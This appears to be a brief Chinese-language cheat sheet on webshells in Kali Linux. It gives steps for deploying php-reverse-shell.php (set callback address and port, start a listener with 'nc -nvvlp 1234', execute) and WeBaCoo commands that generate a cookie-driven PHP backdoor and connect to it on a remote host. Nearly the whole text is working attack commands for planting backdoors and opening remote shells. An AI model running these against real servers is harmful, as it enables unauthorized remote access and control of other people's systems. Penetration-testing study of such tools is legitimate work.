kali中存放webshell的目录为/usr/share/webshell

反弹型webshell

例：php-reverse-shell.php
1.修改反弹地址及端口
2.开启端口监听
nc -nvvlp 1234
3.执行

WeBaCoo (Web Backdoor Cookie)

类终端shell，命令通过cookie传输，只支持php

webacoo -g -o a.php 生成webshell
webacoo -t -u http://1.1.1.1/a.php 连接webshell